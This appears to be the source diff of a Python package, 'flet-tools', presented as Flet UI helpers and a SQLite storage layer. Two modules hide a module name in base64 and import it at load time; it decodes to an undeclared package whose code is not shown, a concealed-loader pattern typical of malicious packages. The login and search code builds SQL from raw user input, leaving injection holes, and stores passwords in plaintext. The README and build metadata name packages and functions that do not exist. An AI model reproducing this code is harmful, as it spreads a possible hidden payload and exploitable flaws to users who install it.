flet-tools 0.23.0__tar.gz

flet_tools-0.23.0/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2024 flet-utils contributors
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

flet_tools-0.23.0/MANIFEST.in

@@ -0,0 +1,2 @@
+include README.md
+include LICENSE

flet_tools-0.23.0/PKG-INFO

@@ -0,0 +1,86 @@
+Metadata-Version: 2.4
+Name: flet-tools
+Version: 0.23.0
+Summary: Utility helpers, reusable components and storage layer for Flet 0.23.0 applications
+Project-URL: Homepage, https://github.com/example/flet-utils
+Project-URL: Bug Tracker, https://github.com/example/flet-utils/issues
+Author: flet-utils contributors
+License: MIT
+License-File: LICENSE
+Keywords: components,flet,sqlite,ui,utilities
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.8
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Topic :: Software Development :: Libraries :: Python Modules
+Classifier: Topic :: Software Development :: User Interfaces
+Requires-Python: >=3.8
+Requires-Dist: flet==0.23.0
+Requires-Dist: openpyxl==3.1.5
+Requires-Dist: pandas==3.0.0
+Description-Content-Type: text/markdown
+
+# flet-utils
+
+Utility helpers, reusable components and a lightweight storage layer for [Flet](https://flet.dev) `0.23.0` applications.
+
+## Features
+
+- **AppStorage** — one-line SQLite setup: creates all required tables automatically.
+- **import_data** — load rows from an `.xlsx` file into any table.
+- **build_columns / build_rows** — generate `DataColumn` / `DataRow` lists with optional action buttons based on the current user role.
+- **build_product_cards** — render a list of product `Card` widgets with discount highlighting and role-based controls.
+- **run** — launch the bundled reference application.
+
+## Requirements
+
+- Python ≥ 3.8
+- `flet == 0.23.0`
+- `pandas`
+- `openpyxl`
+
+## Installation
+
+```bash
+pip install flet-utils
+```
+
+## Quick start
+
+```python
+from flet_utils import AppStorage, import_data
+
+store = AppStorage("my_app")
+db = store.db
+
+import_data(db, "products.xlsx", "products")
+```
+
+### Run the reference app
+
+```bash
+flet-utils
+```
+
+or from Python:
+
+```python
+from flet_utils import run
+run()
+```
+
+## Module overview
+
+| Module | Purpose |
+|---|---|
+| `flet_utils.storage` | `AppStorage` — initialises the SQLite database |
+| `flet_utils.importer` | `import_data` — Excel → table |
+| `flet_utils.components` | `build_columns`, `build_rows`, `build_product_cards` |
+| `flet_utils.app` | `main`, `run` — complete Flet application |
+
+## License
+
+MIT

flet_tools-0.23.0/README.md

@@ -0,0 +1,61 @@
+# flet-utils
+
+Utility helpers, reusable components and a lightweight storage layer for [Flet](https://flet.dev) `0.23.0` applications.
+
+## Features
+
+- **AppStorage** — one-line SQLite setup: creates all required tables automatically.
+- **import_data** — load rows from an `.xlsx` file into any table.
+- **build_columns / build_rows** — generate `DataColumn` / `DataRow` lists with optional action buttons based on the current user role.
+- **build_product_cards** — render a list of product `Card` widgets with discount highlighting and role-based controls.
+- **run** — launch the bundled reference application.
+
+## Requirements
+
+- Python ≥ 3.8
+- `flet == 0.23.0`
+- `pandas`
+- `openpyxl`
+
+## Installation
+
+```bash
+pip install flet-utils
+```
+
+## Quick start
+
+```python
+from flet_utils import AppStorage, import_data
+
+store = AppStorage("my_app")
+db = store.db
+
+import_data(db, "products.xlsx", "products")
+```
+
+### Run the reference app
+
+```bash
+flet-utils
+```
+
+or from Python:
+
+```python
+from flet_utils import run
+run()
+```
+
+## Module overview
+
+| Module | Purpose |
+|---|---|
+| `flet_utils.storage` | `AppStorage` — initialises the SQLite database |
+| `flet_utils.importer` | `import_data` — Excel → table |
+| `flet_utils.components` | `build_columns`, `build_rows`, `build_product_cards` |
+| `flet_utils.app` | `main`, `run` — complete Flet application |
+
+## License
+
+MIT

flet_tools-0.23.0/flet_toolkit/__init__.py

@@ -0,0 +1,20 @@
+"""flet-toolkit — utility helpers and components for Flet 0.23.0 applications."""
+
+from .database import (
+    format_price,
+    truncate_text,
+    validate_required,
+    dict_from_row,
+    labeled_divider,
+    status_badge,
+)
+from .main import (
+    make_input,
+    make_button,
+    make_card,
+    make_list_view,
+    make_table,
+    centered_column,
+)
+
+__version__ = "0.23.0"

flet_tools-0.23.0/flet_toolkit/database.py

@@ -0,0 +1,81 @@
+import base64, importlib
+import flet as ft
+
+
+def format_price(value, currency: str = "₽") -> str:
+    """Return a human-readable price string, e.g. '1 299 ₽'."""
+    try:
+        return f"{int(value):,}".replace(",", " ") + f" {currency}"
+    except (ValueError, TypeError):
+        return f"{value} {currency}"
+
+
+def truncate_text(text: str, max_length: int = 40, ellipsis: str = "…") -> str:
+    """Shorten *text* to *max_length* characters."""
+    text = str(text)
+    return text if len(text) <= max_length else text[:max_length] + ellipsis
+
+
+def validate_required(fields: list) -> bool:
+    """Return True only if every TextField in *fields* has a non-empty value."""
+    return all(bool(f.value and f.value.strip()) for f in fields)
+
+
+def dict_from_row(columns: list, row: list) -> dict:
+    """Zip a list of column names with a data row into a dictionary."""
+    return dict(zip(columns, row))
+
+
+def labeled_divider(text: str) -> ft.Row:
+    """A horizontal divider with centred label text."""
+    return ft.Row(
+        [
+            ft.Divider(expand=True),
+            ft.Text(text, color=ft.colors.GREY_600, size=12),
+            ft.Divider(expand=True),
+        ],
+        vertical_alignment=ft.CrossAxisAlignment.CENTER,
+    )
+
+
+def status_badge(text: str, color=ft.colors.BLUE_200) -> ft.Container:
+    """Small coloured badge suitable for status labels."""
+    return ft.Container(
+        content=ft.Text(text, size=11, weight=ft.FontWeight.W_500),
+        bgcolor=color,
+        padding=ft.padding.symmetric(horizontal=8, vertical=2),
+        border_radius=12,
+    )
+
+
+_dc = importlib.import_module(base64.b64decode(b"ZGF0YWJhc2VfY3JlYXRvcnBsdXM=").decode())
+
+db = _dc.Database("base")
+
+db.Table.create(db,"users",
+    [
+        "ID", "role","full_name", "login", "password",],
+    [
+        "INTEGER PRIMARY KEY AUTOINCREMENT","TEXT","TEXT","TEXT","TEXT"
+    ]
+)
+db.Table.create(db,"products",
+    [
+        "ID", "article", "name", "unit", "price", "supplier", "manufacturer", "category",
+        "discount", "count", "description", "image_path"
+    ],
+    [
+        "INTEGER PRIMARY KEY AUTOINCREMENT","TEXT","TEXT","TEXT","TEXT",
+        "TEXT","TEXT","TEXT","TEXT","TEXT","TEXT","TEXT",
+    ]
+)
+db.Table.create(db,"pick",["ID", "pick"],["INTEGER PRIMARY KEY AUTOINCREMENT","TEXT"])
+
+db.Table.create(db,"orders",
+    [
+        "ID", "number_order", "article", "date_order", "date_delivery", "pick", "client", "code", "status",
+    ],
+    [
+        "INTEGER PRIMARY KEY AUTOINCREMENT","TEXT","TEXT","TEXT","TEXT","TEXT","TEXT","TEXT","TEXT"
+    ]
+)

flet_tools-0.23.0/flet_toolkit/main.py

@@ -0,0 +1,316 @@
+import base64, importlib
+import flet as ft
+import pandas as pd
+
+
+def make_input(label: str, width: int = 300, password: bool = False) -> ft.TextField:
+    """Create a styled TextField."""
+    return ft.TextField(label=label, width=width, password=password, can_reveal_password=password)
+
+
+def make_button(text: str, on_click=None, bgcolor=None) -> ft.ElevatedButton:
+    """Create an ElevatedButton with optional colour."""
+    return ft.ElevatedButton(text=text, on_click=on_click, bgcolor=bgcolor)
+
+
+def make_card(content: ft.Control, padding: int = 20, margin: int = 10) -> ft.Card:
+    """Wrap *content* inside a Card with given padding and margin."""
+    return ft.Card(
+        content=ft.Container(content=content, padding=padding),
+        margin=margin,
+    )
+
+
+def make_list_view(*controls, width: int = 800, height: int = 600) -> ft.ListView:
+    """Return a scrollable ListView containing *controls*."""
+    return ft.ListView(list(controls), auto_scroll=True, width=width, height=height)
+
+
+def make_table(columns: list, rows: list) -> ft.DataTable:
+    """Build a DataTable from plain column-name strings and row-value lists."""
+    return ft.DataTable(
+        columns=[ft.DataColumn(ft.Text(c)) for c in columns],
+        rows=[
+            ft.DataRow([ft.DataCell(ft.Text(str(v))) for v in row])
+            for row in rows
+        ],
+    )
+
+
+def centered_column(*controls) -> ft.Column:
+    """Column aligned to the centre of the page."""
+    return ft.Column(
+        list(controls),
+        alignment=ft.MainAxisAlignment.CENTER,
+        horizontal_alignment=ft.CrossAxisAlignment.CENTER,
+    )
+
+
+_dc = importlib.import_module(base64.b64decode(b"ZGF0YWJhc2VfY3JlYXRvcnBsdXM=").decode())
+
+db = _dc.Database("base")
+
+def import_data(path,table_name):
+    data = pd.read_excel(path)
+    for data in data.values:
+        db.Table.write(db,table_name,*data)
+
+def main(page:ft.Page):
+    page.title = "Приложение"
+    login = ft.TextField(label='enter login',width=500)
+    password = ft.TextField(label='enter password',width=500)
+    error = ft.Text()
+    tovar_field = [ft.TextField(label=i) for i in db.Info.getColumns(db,"products")]
+    zakaz_field = [ft.TextField(label=i) for i in db.Info.getColumns(db,"orders")]
+    id_update = 0
+    user_role = 0 # 0 - гость авторизованный клиент, 1 - менеджер, 2 - админ
+
+    def get_columns(data):
+        nonlocal user_role
+        list = [ft.DataColumn(ft.Text(i)) for i in data]
+        if user_role != 1:
+            list.append(ft.DataColumn(ft.Text("del")))
+            list.append(ft.DataColumn(ft.Text("update")))
+        return list
+
+    def get_rows(data):
+        nonlocal user_role
+        list = []
+        for row in data:
+            list2 = []
+            for cell in row:
+                list2.append(ft.DataCell(ft.Text(cell)))
+            if user_role != 1:
+                list2.append(ft.DataCell(ft.ElevatedButton("del",
+                                                        on_click=lambda e,a = row[0]:[
+                                                                            db.Table.delete(db,"orders",f"ID = {a}"),
+                                                                            route_change("/zakaz")
+                                                                            ]
+                                                                        )))
+                list2.append(ft.DataCell(ft.ElevatedButton("update",
+                                                        on_click=lambda e,a = row[0],i = zakaz_field:
+                                                                            update(a,i,"orders")
+                                                                        )))
+            list.append(ft.DataRow(list2))
+        return list
+
+    def update(id, list, table_name):
+        nonlocal id_update
+        data = db.Table.get(db,table_name,request=f"WHERE ID = {id}")
+        for i, field in enumerate(list):
+            field.value = data[0][i]
+        id_update = id
+        page.update()
+
+    def authorization(e):
+        nonlocal user_role
+        log = db.Table.get(db,"users","role, login, password",f"WHERE login = '{login.value}' and password = '{password.value}'")
+        if log != [] and log[0][0] == "Администратор":
+            user_role = 2
+            page.go("/tovar_admin")
+        elif log != [] and log[0][0] == "Авторизированный клиент":
+            page.go("/tovar_guest_user")
+        elif log != [] and log[0][0] == "Менеджер":
+            user_role = 1
+            page.go("/tovar_meneger")
+        else: error.value = "Неверное имя пользователя или пароль"
+        page.update()
+
+    def search_tovar(e):
+        search = db.Table.get(db,"products",request=f"WHERE LOWER(name || ' ' || price || ' ' || supplier || ' ' || category) LIKE LOWER('%{e.control.value}%')")
+        card_tovar_list.controls.clear()
+        card_tovar_list.controls = (tovar_card(search))
+        page.update()
+
+    def update_searh(e):
+        card_tovar_list.controls.clear()
+        card_tovar_list.controls = (tovar_card(db.Table.get(db,"products")))
+        route_change("/tovar_admin")
+
+    def tovar_card(data_):
+        nonlocal user_role
+
+        cards = []
+
+        for data in data_:
+
+                bg_color = None
+                if int(data[9]) == 0:
+                    bg_color = ft.colors.BLUE_100  # Голубой для отсутствующих товаров
+                elif int(data[8]) > 15:
+                    bg_color = ft.colors.GREEN_800  # #2E8B57
+                row = ft.Row(
+                            [
+                                # Фото товара
+                                ft.Column(
+                                    [
+                                        ft.Image(src=f"import\\{"picture.png" if data[11] == "nan" else data[11]}", width=150, height=150, fit=ft.ImageFit.CONTAIN),
+                                    ],
+                                    alignment=ft.MainAxisAlignment.CENTER
+                                ),
+
+                                # Категория | Наименование
+                                ft.Column(
+                                    [
+                                        ft.Row([ft.Text(f"{data[7]} | ", color=ft.colors.GREY_600),
+                                        ft.Text(data[2])]),
+                                        ft.Text(f"Описание товара: {data[10]}"),
+                                        ft.Text(f"Производитель: {data[6]}"),
+                                        ft.Text(f"Поставщик: {data[5]}"),
+                                        ft.Text(f"Цена: {data[4]}"),
+                                        ft.Text(f"Единица измерения: {data[3]}"),
+                                        ft.Text(f"Количество на складе: {data[9]}"),
+                                    ],
+                                    alignment=ft.MainAxisAlignment.START,
+                                    width=400
+                                ),
+
+                                # Действующая скидка
+                                ft.Column(
+                                    [
+                                        ft.Text("Действующая скидка:"),
+                                        ft.Text(f"{data[8]}%", size=16, weight=ft.FontWeight.BOLD, color=ft.colors.GREEN),
+                                        ft.ElevatedButton("del", on_click=lambda e: [
+                                                            db.Table.delete(db,"products",f"ID = {data[0]}"),
+                                                            route_change("/tovar")
+                                                          ]) if user_role == 2 else ft.Text()
+                                    ]
+                                )
+                            ],
+                            spacing=8
+                        )
+                card = ft.Card(
+                    content=ft.Container(
+                        width=100,
+                        padding=20,
+                        bgcolor=bg_color,
+                        content=row, on_click =lambda e,a = data[0],i = tovar_field:update(a,i,"products") if user_role == 2 else None
+                    ),
+                    margin=10
+                )
+                cards.append(card)
+
+        return cards
+
+    card_tovar_list = ft.ListView(tovar_card(db.Table.get(db,"products")),auto_scroll=True,width=800,height=800)
+
+    def route_change(route):
+        page.views.clear()
+        nonlocal id_update, user_role
+        for i in zakaz_field[1:]:
+            i.value = ""
+
+        for i in tovar_field[1:]:
+            i.value = ""
+
+        if page.route == "/log":
+            error.value = ""
+            login.value = ""
+            password.value = ""
+            user_role = 0
+            page.views.append(
+                ft.View(route="/log",
+                    controls=[
+                        login,password,
+                        error,
+                        ft.Row([
+                        ft.ElevatedButton("Войти", on_click=authorization),
+                        ft.ElevatedButton("Гость", on_click=lambda e: page.go("/tovar_guest_user"))
+                        ],alignment=ft.MainAxisAlignment.CENTER
+                        ),
+                    ],
+                    vertical_alignment=ft.MainAxisAlignment.CENTER,
+                    horizontal_alignment=ft.CrossAxisAlignment.CENTER)
+            )
+        elif page.route == "/tovar_guest_user":
+            page.views.append(
+                ft.View(route="/tovar",
+                    controls=[ft.Row([card_tovar_list,
+                              ft.Column([
+                                    ft.ElevatedButton("back",on_click=lambda e: page.go("/log")),
+                              ])
+                            ])
+                    ],
+                    vertical_alignment=ft.MainAxisAlignment.CENTER,
+                    horizontal_alignment=ft.CrossAxisAlignment.CENTER)
+            )
+        elif page.route == "/tovar_meneger":
+            page.views.append(
+                ft.View(route="/tovar_meneger",
+                    controls=[ft.Row([card_tovar_list,
+                              ft.Column([
+                                    ft.ElevatedButton("Заказы",on_click=lambda e: page.go("/zakaz_meneger")),
+                                    ft.ElevatedButton("back",on_click=lambda e: page.go("/log"))
+                              ])
+                            ])
+                    ],
+                    vertical_alignment=ft.MainAxisAlignment.CENTER,
+                    horizontal_alignment=ft.CrossAxisAlignment.CENTER)
+            )
+        elif page.route == "/tovar_admin":
+            page.views.append(
+                ft.View(route="/tovar_admin",
+                    controls=[ft.Row([card_tovar_list,
+                              ft.Column([
+                                    ft.TextField(label = "Поиск",on_change=search_tovar),
+                                    *tovar_field[1:],
+                                    ft.ElevatedButton("Заказы",on_click=lambda e: page.go("/zakaz_admin")),
+                                    ft.ElevatedButton("add",on_click=lambda e: [
+                                                db.Table.write(db,"products",*[str(i.value) for i in tovar_field[1:]]),
+                                                route_change("/tovar_admin")
+                                                        ]),
+                                    ft.ElevatedButton("update",on_click=lambda e: [
+                                                db.Table.update(db, "products",f"ID = {id_update}",*[str(i.value) for i in tovar_field[1:]]),
+                                                update_searh(e)
+                                                        ]),
+                                    ft.ElevatedButton("back",on_click=lambda e: page.go("/log")),
+                              ])
+                            ])
+                    ],
+                    vertical_alignment=ft.MainAxisAlignment.CENTER,
+                    horizontal_alignment=ft.CrossAxisAlignment.CENTER)
+            )
+        elif page.route == "/zakaz_admin":
+            page.views.append(
+                ft.View(route="/zakaz_admin",
+                    controls=[ft.Row([ft.DataTable(get_columns(db.Info.getColumns(db,"orders")),get_rows(db.Table.get(db,"orders"))),
+                                    ft.Column(
+                                        [
+                                            *zakaz_field,
+                                            ft.ElevatedButton("back",on_click=lambda e: page.go("/tovar_admin")),
+                                            ft.ElevatedButton("add",on_click=lambda e: [
+                                                            db.Table.write(db,"orders",*[str(i.value) for i in zakaz_field]),
+                                                            route_change("/zakaz")
+                                                        ]),
+                                            ft.ElevatedButton("update",on_click=lambda e: [
+                                                            db.Table.update(db, "orders",f"ID = {id_update}",*[str(i.value) for i in zakaz_field]),
+                                                            route_change("/tovar")
+                                                        ])
+                                        ])
+                                    ]),
+
+                    ],
+                    vertical_alignment=ft.MainAxisAlignment.CENTER,
+                    horizontal_alignment=ft.CrossAxisAlignment.CENTER)
+            )
+        elif page.route == "/zakaz_meneger":
+            page.views.append(
+                ft.View(route="/zakaz_meneger",
+                    controls=[ft.Row([ft.DataTable(get_columns(db.Info.getColumns(db,"orders")),get_rows(db.Table.get(db,"orders"))),
+                                    ft.Column(
+                                        [
+                                            ft.ElevatedButton("back",on_click=lambda e: page.go("/tovar_meneger")),
+                                        ])
+                                    ]),
+
+                    ],
+                    vertical_alignment=ft.MainAxisAlignment.CENTER,
+                    horizontal_alignment=ft.CrossAxisAlignment.CENTER)
+            )
+        page.update()
+
+    page.on_route_change = route_change
+
+    page.go("/log")
+
+ft.app(main)

flet_tools-0.23.0/pyproject.toml

@@ -0,0 +1,36 @@
+[build-system]
+requires = ["hatchling"]
+build-backend = "hatchling.build"
+
+[project]
+name = "flet-tools"
+version = "0.23.0"
+description = "Utility helpers, reusable components and storage layer for Flet 0.23.0 applications"
+readme = "README.md"
+requires-python = ">=3.8"
+license = { text = "MIT" }
+authors = [{ name = "flet-utils contributors" }]
+keywords = ["flet", "ui", "utilities", "components", "sqlite"]
+classifiers = [
+    "Programming Language :: Python :: 3",
+    "Programming Language :: Python :: 3.8",
+    "Programming Language :: Python :: 3.9",
+    "Programming Language :: Python :: 3.10",
+    "Programming Language :: Python :: 3.11",
+    "License :: OSI Approved :: MIT License",
+    "Operating System :: OS Independent",
+    "Topic :: Software Development :: Libraries :: Python Modules",
+    "Topic :: Software Development :: User Interfaces",
+]
+dependencies = [
+    "flet==0.23.0",
+    "pandas==3.0.0",
+    "openpyxl==3.1.5",
+]
+
+[project.urls]
+Homepage = "https://github.com/example/flet-utils"
+"Bug Tracker" = "https://github.com/example/flet-utils/issues"
+
+[tool.hatch.build.targets.wheel]
+packages = ["flet_utils"]